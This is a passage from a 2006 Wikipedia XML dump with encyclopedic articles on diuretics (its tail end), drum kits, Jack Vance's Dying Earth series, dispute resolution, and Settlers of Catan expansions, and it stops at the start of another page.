| bgcolor=&quot;#ddeeff&quot; | inhibit Na&lt;sup&gt;+&lt;/sup&gt;/Cl&lt;sup&gt;-&lt;/sup&gt; reabsorption from the distal convoluted tubules of [[nephron]]s
|-
| bgcolor=&quot;#eeeeee&quot; | '''[[Osmotic]] diuretics''' (''e.g.'', [[mannitol]], [[glucose]])
| bgcolor=&quot;#ddeeff&quot; | promote osmotic diuresis
|}

A '''diuretic''' is any [http://en.wiktionary.org/wiki/drug drug] that elevates the rate of bodily [[urine]] excretion ([[diuresis]]). Diuretics also decrease the [[extracellular fluid]] (ECF) volume, and are primarily used to produce a negative extracellular fluid balance. [[Caffeine]], [[cranberry juice]] and [[ethanol|alcohol]] are all weak diuretics. 

In [[medicine]], diuretics are used to treat [[heart failure]], [[liver cirrhosis]], [[hypertension]] and certain [[kidney disease]]s. Diuretics alleviate the symptoms of these diseases by causing [[sodium]] and [[water]] loss through the urine. As urine is produced by the [[kidney]], sodium and water &amp;ndash; which cause [[edema]] related to the disease &amp;ndash; move into the [[blood]] to replace the volume lost as urine, thereby reducing the pathological edema. Some diuretics, such as [[acetazolamide]], help to make the [[urine]] more [[alkaline]] and are helpful in increasing excretion of substances such as [[aspirin]] in cases of [[drug overdose|overdose]] or poisoning.

It should be noted, however, that the antihypertensive actions of some diuretics ([[thiazide]]s and [[loop diuretic]]s in particular) are independent of their diuretic effect. That is, the reduction in blood pressure is not due to decreased blood volume resulting from increased urine production, but occurs through other mechanisms and at lower doses than that required to produce diuresis. [[Indapamide]] was specifically designed with this is mind, and has a larger therapeutic window for hypertension (without pronounced diuresis) than most other diuretics.

Chemically, diuretics are a diverse group of compounds that either stimulate or inhibit various [[hormone]]s that naturally occur in the body to regulate urine production by the kidneys.

[[Ethanol|Alcohol]] produces diuresis through modulation of the [[vasopressin]] system.

[[Category:Antihypertensive agents]]
[[Category:Diuretics|*]]

[[de:Diuretikum]]
[[fr:Diurétique]]
[[ja:利尿薬]]
[[nl:Diureticum]]
[[nn:Urindrivande lækjemiddel]]
[[pl:Leki moczop&amp;#281;dne]]
[[pt:Diurético]]
[[th:ยาขับปัสสาวะ]]</text>
    </revision>
  </page>
  <page>
    <title>Drum kit</title>
    <id>9079</id>
    <revision>
      <id>41862564</id>
      <timestamp>2006-03-02T05:25:10Z</timestamp>
      <contributor>
        <ip>156.143.67.10</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{{Drum kit components}}
A '''drum kit''' (or '''drum set''' or '''trap set''' - the latter an old-fashioned term) is a collection of [[drum]]s, [[cymbal]]s and other [[percussion instrument]]s arranged for convenient playing by a sole percussionist ([[drummer]]), usually for [[jazz]], [[Rock and roll|rock]], or other types of [[contemporary music]]. 

== History ==
[[Image:Vue batteur grand.jpg|thumb|left|A drum kit from the player's perspective, showing a [[crash cymbal]],  [[hi-hat]], high [[tom-tom]], [[ride cymbal]], [[snare drum]], floor tom-tom and [[bass drum]].]]

Developed primarily in the [[United States]], early drum kits were known as '''trap kits''' (short for ''contraption'') and are one of the most contemporary members of the membranophone family. They usually consisted of a [[bass drum]], a [[snare drum]] on a stand, a small [[cymbal]] and other small [[percussion instrument]]s mounted on the bass drum or a small table, all played with [[drum stick]]s or [[brush]]es except for the bass drum. The bass drum was sometimes kicked to produce a sound, and is occasionally still called a ''kick drum'', though bass drums are now nearly always pedal-operated, and sometimes even played with two pedals to allow for greater speed. ''Trap set'' survives in the term ''trap case'' still given to a case used by a kit drummer (or any percussionist) to transport stands, pedals, sticks, and miscellaneous percussion instruments other than drums and cymbals.

The hi-hat started out life in Dixieland drumming and was called a &quot;snowshoe cymbal beater&quot;, and was operated in a similar way as it is today. At the same time another drum company was developing a similar product called a &quot;low boy&quot;, at a lower position compared with a modern hihat. This then developed into the hihat as we know it today, with the introduction of many different branded products from companies (such as Gretsch and Ludwig). 
[[Image:Neil Peartcollection.jpg|right|thumb|275px|[[Neil Peart]]'s various drum kits]]

== Modern kits ==
The exact collection of components to a drum kit varies greatly according to musical style, personal preference, financial and transportation resources of the drummer. At a minimum a kit usually contains a [[bass drum]] sitting on the floor and played with a pedal, a [[snare drum]] on a stand, two or three [[tom-tom]]s, some of which are mounted on top of the bass drum and the largest typically free-standing alongside it (on the floor - hence the word &quot;[[floor tom]]&quot;), a [[hi-hat]] (sometimes known as a 'sock' cymbal) comprising two small cymbals played by means of pedal with the left foot, a [[ride cymbal]] and a [[crash cymbal]] arrangement.

== Kit additions and variations ==
Some drummers may add a second bass drum (played by the left foot), additional toms, more cymbals, tambourines, woodblocks, cowbells, electronic pads that trigger sampled sounds, or any of a whole galaxy of accessory instruments. Some drummers, such as [[Billy Cobham]], [[Joey Jordison]], [[Neil Peart]], [[Terry Bozzio]], [[Keith Moon]] and [[Mike Portnoy]] have gone to extreme lengths and built massive kits including features such as ranges of tuned tom-toms, allowing them to contribute melodically as well as rhythmically. These huge kits reached their zenith in the arena rock of the 1980s, and the trend since then has been towards a smaller instrument.

=== Electronic drums ===
The first electronic drums were used in the early 1970's (and recorded by [[Carl Palmer]] of [[ELP]]) with the development of the synthesiser, it was inevitable that the drums would eventually be incoporated into the electronic sound.  During the early 1980's drummers such as [[Bill Bruford]] of [[King Crimson]] incorporated large electronic setups within their acoustic setups and in Bruford's case almost completely diminished the need for acoustic drums.  These drums were primarily made by the now defunct Simmons company and later by [[Tama]] of [[Japan]].  Although many criticised the use of electronic drums; there is a wider level of acceptance now and indeed some drummers such as [[Akira Jimbo]] and [[Tony Verderosa]] incorporate electronics into their sets in an interesting and innovative way. 

Yamaha, Roland and many others have created [[electronic drum|electronic drum sets]] which use pads or triggers (mounted on acoustic drums) to play [[sampler (musical instrument)|sampled]] or [[synthesizer|synthesized]] sounds (see [[DTX]]). The trend in electronics since the late 1980s has been away from overtly electronic sounds and more towards an intensified acoustic sound.

Not only has the sound of electronic drums changed considerably towards a more naturalistic approach, indeed the 'feel' of electronic pads has also changed.  With companies like [[Roland Corporation|Roland]] and Pintech offering their popular 'Mesh' or 'V-drum' pads; designed to emulate the 'feel' of a real drum head.  Yamaha offer rubber pads also designed to mimic the feel of 'real' drums.  Originally, the feel of electronic pads was very hard and unforgiving and as a result many drummers suffered from wrist pains and other related injuries.

=== Drum Set Notation ===
Drum set notation once commonly employed the bass clef, but a neutral staff of two parallel vertical lines is usually preferred now. (All note letter references below, however, refer to the bass clef.)

Drums:

Bass drum: low A. Snare: E. Floor tom: C. High tom: high G. Middle tom: high F.

Cymbals:

Hi-hat with foot: low F with X. Hi-hat with stick, mallet, brush, or hand: high G with X. Ride cymbal: high A with X. Crash cymbal: high B with unfilled-in diamond. China cymbal and splash cymbal: high B with filled-in diamond and &quot;China&quot; or &quot;splash&quot; written above.

Other:

Tambourine: leger-line high C with X.

Techniques:

Rolls: three diagonal lines across stem (or above whole note). Bell of ride: circle high-B X. Open hi-hat: o above high-G X. Closed hi-hat: + above high-G X. Rim click (also known as side stick or cross stick): X in E snare space. Rim shot (strike rim and snare simultaneously): diagonal slash through note head. Brush sweep (formerly known as &quot;stirring soup&quot;): horizontal line (replacing note head) in E snare space with slur to show brush is not lifted.

Dynamic accents:

Light: -- (tenuto)

Medium: &gt;

Heavy: ^ (marcato)

Anti-accents:

1) slightly softer than surrounding notes: u (breve)

2) significantly softer than surrounding notes: ( ) (note head in parentheses)

3) much softer than surrounding notes: [ ] (note head in brackets)

All drums, cymbals, and techniques should be introduced the first time they appear in every score with accompanying abbreviation, name, or explanatory footnote, after which their notations can be used freely.

==See also==
*[[List of drummers]]
*[[Drum solo]]

&lt;!-- _________________Table________________________. --&gt;
{| border=&quot;2&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;
!colspan=&quot;3&quot; style=&quot;background:#4B95B5;&quot; | '''Audio samples'''
|-
!width=&quot;30&quot; style=&quot;background:#87BBC8;&quot; | Component
!width=&quot;160&quot; style=&quot;background:#87BBC8;&quot; | Content
!width=&quot;70&quot; style=&quot;background:#87BBC8;&quot; | Audio  &lt;small&gt;([[Ogg Vorbis]])&lt;/small&gt;
|-
|align=&quot;center&quot; rowspan=&quot;3 &quot;|'''Snare'''
|Unmuffled snare drum
|align=&quot;center&quot; | {{Audio|Snare drum unmuffled.ogg |53 KB}}
|-
|Muffled snare drum
|align=&quot;center&quot; | {{Audio|Snare drum muffled.ogg |37 KB}}
|-
|Rim click on a snare
|align=&quot;center&quot; | {{Audio|Snare drum rim.ogg|46 KB}}
|-
|align=&quot;center&quot; |'''Bass drum'''
|Muffled bass drum
|align=&quot;center&quot; | {{Audio|Bass drum.ogg|54 KB}}
|-
|align=&quot;center&quot; rowspan=&quot;3 &quot;|''' Toms'''
|8-inch rack tom
|align=&quot;center&quot; | {{Audio|Tom drum 8 inch.ogg|59 KB}}
|-
|12-inch rack tom
|align=&quot;center&quot; | {{Audio|Tom 12 inch.ogg|41 KB}}
|-
|Floor tom
|align=&quot;center&quot; | {{Audio|Floor tom.ogg|39 KB}}
|-
|align=&quot;center&quot; rowspan=&quot;3 &quot;|'''Hi-hat'''
|Closed hi-hat 
|align=&quot;center&quot; | {{Audio|Hi hat closed.ogg |41 KB}}
|-
|Open hi-hat
|align=&quot;center&quot; | {{Audio|Hi hat open.ogg|58 KB}}
|-
|Hi-hat being opened and closed by its foot pedal
|align=&quot;center&quot; | {{Audio|Hi hat foot pedal.ogg|48 KB}} 
|-
|align=&quot;center&quot; | '''Crash'''
|Crash cymbal
|align=&quot;center&quot; | {{Audio|Crash cymbal.ogg|52 KB}}
|-
|align=&quot;center&quot; rowspan=&quot;3 &quot;|'''Ride'''
|Hit normally
|align=&quot;center&quot; | {{Audio|Ride cymbal.ogg|61 KB}}
|-
|Hit on the ''bell'' of the cymbal
|align=&quot;center&quot; | {{Audio|Ride cymbal bell.ogg|71 KB}}
|-
|Hit on the rim
|align=&quot;center&quot; | {{Audio|Ride cymbal rim.ogg|67 KB}}
|-
|align=&quot;center&quot; rowspan=&quot;2 &quot;| '''Beat'''
|A typical rock beat on hi-hat
|align=&quot;center&quot; |{{Audio|Rock beat hi hat.ogg|95 KB}}
|-
|Typical rock beat on ride cymbal
|align=&quot;center&quot; | {{Audio|Rock beat ride cymbal.ogg|89 KB}}
|-
|align=&quot;center&quot;  colspan=&quot;3&quot; style=&quot;background:#fffdead;&quot; | &lt;small&gt;''See the [[Commons:Drums|Drums]] category at [http://commons.wikimedia.org/wiki/Main_Page Wikipedia Commons] for more'' &lt;/small&gt;
|}

== External links ==
*[http://www.musicinstructionbooks.com/index.php Music Instruction] - Drum instructional books, dvd's, songbooks and viedeos.
*[http://www.drummerworld.com Drummerworld.com] - A site full of videos and pictures of famous jazz and rock drummers.  Also includes a forum. 
*[http://www.drum-forum.com Drum-Forum.com] - A diversified drum forum for drummers, percussionists, and intellects. 
*[http://www.rocklyricsdb.com/drum.asp VirtualDrumSet] - Virtual Drum Simulators
*[http://www.411Drums.com 411Drums.com] - Free drum lessons, articles, history, drum links, FAQ's, drum tips, glossary and drum tabs. 
*[http://www.gigpig.org The GigPig] a new type of compact drum kit.
*[http://www.drumsetkits.com Drum Sets] - Drum kits for every level of drumming
* [http://www.drummerworld.com/Videos/Neilpeartkit.html Drum Kit] Quicktime panorama view 
*[http://www.drumsdatabase.com Drum Database]- Very large database for drum lessons.
*[http://www.drumlinks.com DrumLinks.com]- Hundreds of links to drumming sites.
*[http://www.drummeressentials.com DrummerEssentials.com]- Free 45+ Page Drum eBook 
*[http://www.drumtips.com DrumTips.com]- Over 1000 Drum Tips. 
*[http://www.drumscore.com/ Drum Score - High Quality Drum Kit Scores]
*[http://www.onehandedroll.com One Handed Drum Roll]- Advanced method for one handed drum speed.
*[http://www.tabhall.co.uk/ Tab Hall - Drum Music]
*[http://www.nicedrums.com/forum/index.php Nice Drums - Drum Forum]
*[http://www.heeltoetechnique.com Heel-Toe Technique]- Advanced bass drum technique for speed and [control.
*[http://www.fretland.com/howtosetupdr.html Assemble a Drumset] - How to Set Up a Drumset
*[http://www.jazzdrummingsecrets.com Jazz Drumming Video Lessons]
*[http://www.pearldrum.com Pearl (drum manufacturer)]
*[http://www.porkpiedrums.com Pork Pie Percussion (drum manufacturer)]
*[http://www.yamaha.com/yamahavgn/CDA/Catalog/DrumsHome/0,6869,CTID%253D560000%2526CNTYP%253DPRODUCT,00.html Yamaha (drum manufacturer)]
*[http://www.gretschdrums.com/ Gretsch (drum manufacturer)]
*[http://www.sonor.com/ Sonor (drum manufacturer)]
*[http://www.tama.com/ Tama (drum manufacturer)]
*[http://www.dwdrums.com/ Drum Workshop (drum manufacturer)]
*[http://www.firchie.com Firchie snare drums - Roto tunable]
*[http://www.zildjian.com/ Zildjian (cymbal manufacturer)]
*[http://www.meinlcymbals.com/ Meinl (cymbal manufacturer)]
*[http://www.paiste.com/ Paiste (cymbal manufacturer)]
*[http://www.sabian.com/ Sabian (cymbal manufacturer)]
*[http://www.saludacymbals.com/c/ Saluda (cymbal manufacturer)]
*[http://www.pearldrummersforum.com Pearl Drummer's Forum] - Includes tips, lessons, and an open chat. Run by Pearl but free to use for anybody using any brand.
*[http://p2.forumforfree.com/nesdude.html NES_Dude's Drumming Forum] - Drumming forum for all types of drumming 
*[http://www.thedrumforum.com The Drum Forum] - Friendly forum dedicated to drums, with a lounge-type atmosphere.
*[http://www.drumtechniques.com Drum Lesson Videos] - Downloadable instructional drum video lessons.
*[http://www.drumforum.org Indianapolis Drum Forum] - A drum forum based in Indianapolis, IN, but with members all over the world.  Members have yearly regional get-togethers and a mature forum environment.
*[http://www.tigerbill.com TigerBill's DrumBeat] - Vast free resource on drums and percussion includes famous drummer videos and interviews, lessons, and educational Forums.
*[http://www.chrisbsmusic.com/drumsfaq.html Drum FAQ] - Common questions about drums, hardware and cymbals

[[Category:Percussion instruments]]

[[de:Schlagzeug]]
[[eo:Drumo]]
[[es:Batería (música)]]
[[fi:Rumpusetti]]
[[fr:Batterie (musique)]]
[[he:מערכת תופים]]
[[it:Batteria (musica)]]
[[ja:ドラムセット]]
[[nl:Drumstel]]
[[no:Trommesett]]
[[pl:Perkusja]]
[[pt:Bateria (instrumento musical)]]
[[sv:Trumset]]</text>
    </revision>
  </page>
  <page>
    <title>Dying Earth series</title>
    <id>9080</id>
    <revision>
      <id>40813572</id>
      <timestamp>2006-02-23T04:31:21Z</timestamp>
      <contributor>
        <username>Lefty</username>
        <id>44031</id>
      </contributor>
      <comment>fixup; missing &quot;by&quot;; omit needless words</comment>
      <text xml:space="preserve">[[Image:The_dying_earth_by_jack_vance.jpg|thumb]]

:''This article is about a [[fantasy fiction|fantasy]] series. For a discussion of similar works, see [[Dying Earth subgenre]]''.

'''The Dying Earth''' is a series of [[fantasy]] [[fixup]]s by [[United States|American]] author [[Jack Vance]] which has inspired much [[pastiche]], imitation and admiration.

The series consists of the following works:

*''[[The Dying Earth]]'' (collection of linked stories, 1950)
*''[[The Eyes of the Overworld]]'' (collection of linked stories, 1966)
*''[[Cugel's Saga]]'' (novel, 1983)
*''[[Rhialto the Marvellous]]'' (collection of linked stories, 1984)

''Tales of the Dying Earth'' collects the entire series.

Author [[Michael Shea]] has also written a book set in the same fictional world: ''A Quest of Simbilis'' (novel, 1974). [[Gene Wolfe]]'s ''[[The Book of the New Sun]]'' is set in a somewhat similar world and has been written under Vance's influence. (Wolfe suggested in ''[[The Castle of the Otter]]'', a collection of essays, that he inserted &quot;The Dying Earth&quot; into his fictional world under the title [[The Book of Gold]].)

Three of the Dying Earth books had their titles changed by editors or publishers. In the [[Jack Vance#The Vance Integral Edition|Vance Integral Edition]] of Vance's complete oeuvre, these books have had Vance's original titles restored.  They are as follows: 

*''The Dying Earth'' is retitled as ''Mazirian the Magician''.
*''The Eyes of the Overworld'' is retitled as ''Cugel the Clever''.
*''Cugel's Saga'' is retitled as ''Cugel: the Skybreak Spatterlight''.

== Influence on role playing games ==
The [[Magic (gaming)|magic]] system of [[Dungeons &amp; Dragons]] (in which a spellcaster memorizes spells out of a spellbook, their number limited by their power, and forgets them upon casting them) was based on the magic of Dying Earth.  Some of the spells from D&amp;D are based on spells mentioned in the Dying Earth series, notably [[The Excellent Prismatic Spray]].  The D&amp;D magic item &quot;Ioun stones&quot; appear in ''Rhialto the Marvelous'', though with slightly different properties.

There is also an official Dying Earth [[role-playing game]], published by [[Pelgrane Press]] which throws players into Vance's ancient world populated by desperately extravagant people.

The Eyes of the Overworld is a quest artifact in [[NetHack]].  Their role is different from that in the Dying Earth series, so this may be coincidence.

== External links ==
{{wikiquote|Jack Vance}}

*[http://www.dyingearth.com Pelgrane Press]
*[http://www.vanceintegral.com Vance Integral Edition]

[[Category:Jack Vance novels]]
[[Category:Series of books]]
[[Category:Fantasy novels]]
[[Category:Fantasy series]]</text>
    </revision>
  </page>
  <page>
    <title>Dispute resolution</title>
    <id>9082</id>
    <revision>
      <id>42056953</id>
      <timestamp>2006-03-03T14:33:46Z</timestamp>
      <contributor>
        <username>Monkeyman</username>
        <id>79245</id>
      </contributor>
      <minor />
      <comment>/* External links */ Removed pdf link.</comment>
      <text xml:space="preserve">:''For Wikipedia's dispute resolution guidelines, see [[Wikipedia:Resolving disputes]].''
{{mergefrom|Adjudication}}
'''Dispute resolution''' is the process of resolving disputes between [[party (law) | parties]].

==Methods==
Methods of dispute resolution include:
* [[lawsuit]]s (litigation)
* [[arbitration]]
* [[mediation]]
* [[conciliation]]
* many types of [[negotiation]]
One could theoretically include [[violence]] or even [[war]] as part of this spectrum, but dispute resolution practitioners do not usually do so; violence rarely ends disputes effectively, and indeed, often only escalates them. Some individuals, notably [[Joseph Stalin]], have stated that all problems emanate from man, and absent man, no problems ensue. Hence, violence could theoretically end disputes, but alongside it, life. 

Dispute resolution processes fall into two major types:
# [[adjudication|Adjudicative]] processes, such as litigation or arbitration, in which a judge, jury or arbitrator determines the outcome.
# Consensual processes, such as mediation, conciliation, or negotiation, in which the parties attempt to reach agreement.

Not all disputes, even those in which skilled intervention occurs, end in resolution. Such intractable disputes form a special area in dispute resolution studies.

==Judicial dispute resolution==
A competent and effective judge, arbitrator or mediator can greatly aid the proper functioning of the dispute resolution process. In [[Civil law (legal system)|civil law]] systems [[judge]]s are [[jurist]]s who are trained in investigation techniques, the process of determining the veracity of evidence and the [[inquisitorial system]] of adjudication.  In the [[United States]] and other [[common law]] countries, judges are often experienced trial lawyers who have litigated many cases over many years before their appointment or election to the judiciary.  Retired judges or experienced private lawyers often become arbitrators or mediators, but trained and qualified non-legal dispute resolution specialists form a growing body. In the [[United States of America]], many states now have mediation or other ADR programs annexed to the courts, to facilitate settlement of lawsuits.

==Extrajudicial dispute resolution==
Some use the term ''dispute resolution'' to refer only to [[alternative dispute resolution]] (ADR), that is, extrajudicial processes such as arbitration and mediation used to resolve conflict and potential conflict between and among individuals, [[business]] entities, governmental agencies, and (in the [[public international law]] context) [[state]]s.  ADR generally depends on agreement by the parties to use ADR processes, either before or after a dispute has arisen.  ADR has experienced steadily increasing acceptance and utilization because of a perception of greater flexibility, costs below those of traditional litigation, and speedy resolution of disputes, among other perceived advantages. However, some have criticized these methods as taking away the right to seek redress of grievances in the [[court]]s, suggesting that extrajudicial dispute resolution may not offer the fairest way for parties not in an equal bargaining relationship, for example in a dispute between a [[consumer]] and a large [[corporation]].  In addition, in some circumstances, arbitration and other ADR processes may become as expensive as litigation or more so.

==Online Dispute Resolution==
Dispute resolution can also take place on-line or by using technology in certain cases. [[Online Dispute Resolution]], a growing field of dispute resolution, uses new technologies to solve disputes. It also involves the application of traditional dispute resolution methods to disputes which arise online.

==Further reading==
* Ury, William, 2000.  &lt;u&gt;The Third Side:  Why We Fight and How We Can Stop &lt;/u&gt;. Penguin Putnam. New York. ISBN 0140296344

==See also==
* [[Conflict resolution]]
* [[Diplomacy]]
* [[Peacekeeping]]

== Additional Resources ==

*  [http://johnjay.jjay.cuny.edu/dispute/ CUNY Dispute Resolution Consortium]- ' The Dispute Resolution Headquarters in New York City.'
The City University of New York Dispute Resolution Consortium (CUNY DRC) serves as an intellectual home to dispute resolution faculty, staff and students at the City University of New York and to the diverse dispute resolution community in New York City. At the nation’s largest urban university system, the CUNY DRC has become a focal point for furthering academic and applied conflict resolution work in one of the world’s most diverse cities.  The CUNY DRC conducts research and innovative program development, has co-organized countless conferences, sponsored training programs, resolved a wide range of intractable conflicts, published research working papers and a newsletter.  It also maintains an extensive database of those interested in dispute resolution in New York City, a website with resources for dispute resolvers in New York City and since 9/11, the CUNY DRC assumed a leadership role for dispute resolvers in New York City by establishing an extensive listserv, sponsoring  monthly breakfast meetings, conducting research on responses to catastrophes, and managing a public awareness initiative to further the work of dispute resolvers.

== External links ==
*  [http://www.arbitrator.com   Arbitrator.com:  offers links to Arbitration and Mediation information.]

[[Category:Dispute resolution| ]]
[[cs:Řešení sporu]]</text>
    </revision>
  </page>
  <page>
    <title>Settlers of Catan, 5 to 6 player expansion</title>
    <id>9083</id>
    <revision>
      <id>15907001</id>
      <timestamp>2005-01-28T15:30:14Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <minor />
      <comment>[[User:Topbanana/Reports/This article contains a malformed HTML entity|Please return the favour by clicking here to fix more HTML entities]]</comment>
      <text xml:space="preserve">'''The Settlers of Catan 5 to 6 player version''' is an expansion set for the [[Settlers of Catan]] game.  It contains fifteen additional terrain hexes: two mountains, two hills, two plains, two pasture, two forest, one desert, two water, one general (3:1) port, and one wool (2:1) port.  The expanded board is laid out randomly as in the original game, but is shaped as shown below.

{| align=&quot;center&quot; border=&quot;1&quot; cellpadding = &quot;1&quot;
|-
| rowspan=&quot;8&quot; | [[Image:Settlers 5-6 Board.png]]
| '''Terrain'''
| '''Production'''
| '''Color'''
|-
| Plains
| Grain
| bgcolor=&quot;#cca533&quot; | &amp;nbsp;
|-
| Pasture
| Wool
| bgcolor=&quot;#75e833&quot; | &amp;nbsp;
|-
| Forest
| Lumber
| bgcolor=&quot;#226600&quot; | &amp;nbsp;
|-
| Hills
| Clay
| bgcolor=&quot;#aa0000&quot; | &amp;nbsp;
|-
| Mountains
| Ore
| bgcolor=&quot;#666666&quot; | &amp;nbsp;
|-
| Desert
| Nothing
| bgcolor=&quot;#8c4617&quot; | &amp;nbsp;
|-
| Water
| (trading&lt;br /&gt;advantage)
| bgcolor=&quot;#0031e5&quot; width=&quot;30&quot; | &amp;nbsp;
|}
Also the expansion set includes tokens for roads, settlements, and cities in two additional colors, as well as five extra resource cards for each of the five commodities, and nine additional development cards: six soldiers, one Monopoly, one Year of Plenty, and one Road Building.

There is one significant change to the rules as well.  In the original version only the player whose turn it is can build.  In the expanded game, after each turn each player has an opportunity to build.  This is a necessary modification, or else players would accumulate too many commodity cards, and everything would be built in large individual spurts rather than developing more evenly across time and among the players.

Some enjoy playing on the enlarged board with only four players so the board is less crowded, however a lack of space creates important strategic dilemmas which most players prefer to preserve.

[[Category:Settlers of Catan]]</text>
    </revision>
  </page>
  <page>
    <title>Die Siedler von Catan/Die Seefahrer expansion</title>
    <id>9084</id>
    <revision>
      <id>15907002</id>
      <timestamp>2003-05-25T19:11:15Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[Settlers of Catan]]</text>
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  </page>
  <page>
    <title>Cities and Knights of Catan</title>
    <id>9085</id>
    <revision>
      <id>36412737</id>
      <timestamp>2006-01-23T22:01:18Z</timestamp>
      <contributor>
        <username>Robartin</username>
        <id>35370</id>
      </contributor>
      <comment>/* The Merchant */</comment>
      <text xml:space="preserve">'''''The Cities and Knights of Catan''''' ([[German language|German]]: ''Städte und Ritter'') is an expansion to the [[board game]] ''[[Settlers of Catan]]'' for three to four players (five to six player play is also possible with the ''Settlers'' and ''Cities and Knights'' five to six player expansions).  It contains features taken from the [[Settlers of Catan (card game)|''Settlers of Catan'' card game]], with emphasis on city development and the use of [[knight]]s, which are used as a method of attacking other players as well as helping opponents defend Catan against a common foe.  ''Cities and Knights'' can also be combined with the ''[[Seafarers of Catan]]'' expansion (again, five to six player play only possible with the ''Seafarers'' five to six player expansion), although players are not recommended to use the ''Cities and Knights'' rules in ''Seafarers'' scenarios where exploration is a gameplay element.

Because of the new gameplay elements introduced in ''Cities and Knights'', the game is typically played to a greater number of victory points.

== Commodities ==
One of the main additions to the game are commodities, which effectively act as secondary resources produced only by cities (and not settlements).  Like resources, commodities are associated with a type of terrain, can be stolen by the robber (with ''Seafarers'', also the pirate), can count against the resource hand limit, and may not be collected if the robber is on the terrain.  Resources may be traded for commodities, and commodities may be traded for resources.  Commodities can then be used to build city improvements (provided the player has a city), which provide additional benefits.

When combining ''Cities and Knights'' with ''Seafarers'', the rules are ambiguous with regards to whether commodities are collected along with normal resources when collecting from a Gold River tile, as well as whether or not commodities can be collected directly from Gold River tiles.

== City Improvements ==
If a player has a city, they may use commodities to build city improvements, which allow the user several advantages.  City improvements come in a total of five levels, and in three different categories, with each category of improvements requiring a different commodity and higher levels requiring more cards in that commodity.  At the third level, players earn a special ability.

The first player with an improvement at the fourth level can claim any of their cities as a metropolis, worth an additional two points.  Each type of improvement has only one associated metropolis, and no city can be a metropolis of two different types (because of this, a player with only metropolises and settlements may not build improvements beyond the third level).  If a player is the first to build an improvement to the final level, they may take the metropolis from its current holder.

== Knights ==
The other significant concept in ''Cities and Knights'' are the concept of knights, which replace the concept of soldiers and the largest army.  Knights are units that require continuous maintenance through its activation mechanism, but have a wide variety of functions.  Knights can be promoted through a total of three ranks, although promotion to the final rank is a special ability granted by a city improvement.

Knights are placed on the board in a similar manner to settlements, and can be used to block opposing roads, active or not.  However, knights must be activated in order to perform other functions, which immediately deactivates the knight.  Knights cannot perform actions on the same turn they are activated, but can be reactivated on the same turn as performing an action.  These actions include:
* Moving along a road (with ''Seafarers'', a line of ships)
* Dispelling opposing knights of a lower rank, forcing the lower ranked knight to retreat
* Dispelling the robber (with ''Seafarers'', also the pirate) if the robber is stationed nearby

If a knight is promoted or forced to retreat, its active status does not change.

== Barbarian attacks ==
''Cities and Knights'' introduce a third die, known as the event die, which serves two functions, the first of which applies to the concept of barbarians, a periodic foe that all players must work together to defend against.

The barbarians are represented by a ship, which is positioned on a track in special &quot;double-hex&quot;, representing the distance between the ship and Catan (ie. the board).  Each time the event die shows a black ship, the barbarian ship takes one step closer to Catan.  When the barbarians arrive at Catan, a special phase is immediately performed before all other actions (including collecting resources).  In this special phase, the barbarians' attack strength, corresponding to the combined number of cities and metropolises held by all players, is compared to Catan's defense strength, corresponding to the combined levels of all activated knights in play.

Should the barbarian attack be successful (that is, the attack strength be greater than the defense strength), the player who contributed the least amount of defensive points is forced to reduce a city (not a metropolis) down to a settlement.  If there is a tie among this distinction, then all tied players must (if possible) reduce a city to a settlement.  If the lowest contibutor(s) only have metropolises, then the next-lowest contributor(s) must reduce a city to a settlement.  It may be the case where players tie for the lowest contribution, with some of the players lacking cities to reduce (in which case the players without cities is exempt), or the case where all players are reduced to settlements and metropolises, in which case nothing happens.

There may also be the case where reducing a city would leave a player with six settlements (a player is only given five settlements), in which case the city token is turned on its side until another city is built.

Should Catan prevail, the player who contribute the most to Catan's defense receives a special ''Defender of Catan'' card, worth an extra victory point.  Regardless of the outcome, all knights are immediately deactivated, and the barbarian ship returns to its starting point on the track.

As the likelihood of having the barbarian move closer to Catan is very likely, under ''Cities and Knights'' the robber (and with ''Seafarers'', the pirate) does not move until the first barbarian attack, nor can a knight move the robber before that point.

== Progress cards ==
The other significant function of the event die concerns itself with Progress cards, which replace development cards.  Because of the mechanics of progress cards explained below, one of the two white dice used in ''Settlers'' is replaced by a red die.

Progress cards are organized into three categories, corresponding to the three types of improvements.  When a castle appears on the event die, progress cards of the corresponding type may be drawn depending on the value of the red die.  Higher levels of improvements will allow for a greater likelihood that progress cards will be drawn, with the highest level of improvement allowing progress cards to be drawn regardless of the value on the red die.

Progress cards, unlike the development cards they replace, can be played on the turn that they are drawn, and more than one progress card can be played per turn.  With the exception of two types of progress cards, however, they can only be played after the dice are rolled.  Progress cards granting victory points are played immediately (without regards to whose turn it is), while the Alchemist progress card, which allows a player to predetermine the roll of the white and red dice, necessitates the card being played before rolling the dice.

Players are allowed to keep a total of four progress cards (five in a five to six player game), and any additional ones must be discarded on the spot or (if it is the player's turn) played.

In the event of a failed barbarian attack and there is a tie among the greatest contributors, none of the tied players earn a ''Defender of Catan'' card, with each of the tied players drawing a progress card of the type of their choosing instead.  Similarly, if there are no ''Defender of Catan'' cards remaining, a progress card is drawn instead.

== City walls ==
City walls are a minor addition to ''Cities and Knights'', which serve to increase the number of resource and commodity cards a player is allowed in their hand before having to discard on a roll of 7.  Only cities and metropolises may have walls, and each city or metropolis can only have one wall.  Should a city be reduced to a settlement, the walls are also removed.

== The Merchant ==
The merchant is another addition to ''Cities and Knights''.  Like the robber, the merchant is placed on a single land hex.  Unlike the robber, the merchant has a beneficial effect.

The merchant can only be deployed through the use of a Merchant progress card (of which there are six), on a land hex near a city or a settlement.  The player with the control of the merchant can trade the resource (not commodity) of that type at a two-to-one rate, as if the player had a control of a corresponding two-to-one harbor.  The player with the control of the merchant also earns a victory point.  Both the victory point and the trade privilege are lost if another player takes control of the merchant.

The rules are ambiguous as to whether the merchant and the robber can be placed on the same hex, and if so, whether having the robber on the same hex as the merchant disables the trading privilege or the victory point.  When played with ''Seafarers'', the rules are also ambiguous as to whether the merchant can be played on a Gold River hex, and if so, whether two resources of different types may be traded.

== See also ==
* [[Settlers of Catan]]
* [[Seafarers of Catan]]

[[Category:Settlers of Catan]]</text>
    </revision>
  </page>
  <page>
    <title>Seafarers of Catan</title>
    <id>9086</id>
    <revision>
      <id>41853435</id>
